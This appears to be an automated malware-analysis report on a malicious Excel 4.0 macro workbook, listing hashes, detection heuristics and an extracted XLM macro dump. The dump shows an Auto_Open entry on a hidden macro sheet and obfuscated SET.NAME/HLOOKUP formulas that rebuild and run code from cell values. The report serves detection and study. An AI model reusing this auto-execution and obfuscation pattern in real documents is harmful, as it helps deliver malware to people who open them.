Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f688d49181a03079…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:39 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 44d9ed11c2781a927f161686de76b678 SHA-1: 65ec9cc4ec6d2559681c957b5a463abf5d9afcae SHA-256: f688d49181a030791e6df075ba959ec93b30a57daa94a5e3d91ec2b8bdb416f7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6590 bytes
SHA-256: 2f94958aeb922e08f0bb58d5cb37168ee6958eaa9a0b07415fbeeb8d82947894
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xcUU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G161 
' 0018     24 LABEL : Cell Value, String Constant - cBiShjalI len=0 
' 0018     24 LABEL : Cell Value, String Constant - CgrqLpNXd len=0 
' 0018     22 LABEL : Cell Value, String Constant - CtFXxJX len=0 
' 0018     23 LABEL : Cell Value, String Constant - EZwfWUKr len=0 
' 0018     27 LABEL : Cell Value, String Constant - fibpOZWODWEW len=0 
' 0018     24 LABEL : Cell Value, String Constant - gPbOfRDEg len=0 
' 0018     22 LABEL : Cell Value, String Constant - lPiATzR len=0 
' 0018     23 LABEL : Cell Value, String Constant - LRelClHM len=0 
' 0018     21 LABEL : Cell Value, String Constant - NTArWF len=0 
' 0018     25 LABEL : Cell Value, String Constant - oRCEOyzGyl len=0 
' 0018     22 LABEL : Cell Value, String Constant - OrKLHir len=0 
' 0018     23 LABEL : Cell Value, String Constant - QsFdwvlM len=0 
' 0018     25 LABEL : Cell Value, String Constant - qvQNBZQYOp len=0 
' 0018     22 LABEL : Cell Value, String Constant - sXQVZLs len=0 
' 0018     23 LABEL : Cell Value, String Constant - TDPNcHic len=0 
' 0018     27 LABEL : Cell Value, String Constant - USNvAWaikiEN len=0 
' 0018     24 LABEL : Cell Value, String Constant - vHlpZoktq len=0 
' 0018     24 LABEL : Cell Value, String Constant - voEvvcBLL len=0 
' 0018     21 LABEL : Cell Value, String Constant - WiNZgM len=0 
' 0018     20 LABEL : Cell Value, String Constant - YMayG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xcUU,Q44,"",-167.00000000000000000000
'  xcUU,Q45,"",994.00000000000000000000
'  xcUU,Q46,"",35.00000000000000000000
'  xcUU,Q47,"",983.00000000000000000000
'  xcUU,Q48,"",-472.00000000000000000000
'  xcUU,Q49,"",-437.00000000000000000000
'  xcUU,G63,"SET.NAME("voEvvcBLL",0+VALUE("0"))",""
'  xcUU,G68,"SET.NAME("USNvAWaikiEN",voEvvcBLL)",""
'  xcUU,G71,"SET.NAME("cBiShjalI",voEvvcBLL)",""
'  xcUU,G75,"SET.NAME("lPiATzR",COUNTA(fibpOZWODWEW))",""
'  xcUU,G77,"SET.NAME("TDPNcHic",COUNTA(sXQVZLs))",""
'  xcUU,G82,[],""
'  xcUU,G84,"SET.NAME("qvQNBZQYOp","")",""
'  xcUU,G89,"USNvAWaikiEN",""
'  xcUU,G92,"SET.NAME("WiNZgM",HLOOKUP("*",fibpOZWODWEW,USNvAWaikiEN,FALSE))",""
'  xcUU,G97,"LRelClHM",""
'  xcUU,G99,"SET.NAME("NTArWF",voEvvcBLL)",""
'  xcUU,G102,[],""
'  xcUU,G106,"NTArWF",""
'  xcUU,G111,"vHlpZoktq",""
'  xcUU,G113,"CtFXxJX",""
'  xcUU,G117,"CgrqLpNXd",""
'  xcUU,G121,"SET.NAME("EZwfWUKr",VALUE(HLOOKUP("*",sXQVZLs,CgrqLpNXd,FALSE)))",""
'  xcUU,G126,"YMayG",""
'  xcUU,G131,"qvQNBZQYOp",""
'  xcUU,G134,"cBiShjalI",""
'  xcUU,G136,NEXT(),""
'  xcUU,G139,"gPbOfRDEg",""
'  xcUU,G143,[],""
'  xcUU,G147,"OrKLHir",""
'  xcUU,G151,NEXT(),""
'  xcUU,G156,RETURN(),""
'  xcUU,G185,"SET.NAME("QsFdwvlM",G63)",""
'  xcUU,G190,"fibpOZWODWEW",""
'  xcUU,G193,"SET.NAME("sXQVZLs",R55C14)",""
'  xcUU,G196,"SET.NAME("OrKLHir",203)",""
'  xcUU,G200,"SET.NAME("oRCEOyzGyl",7)",""
'  xcUU,G202,QsFdwvlM(),""
'  xcUU,G203,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.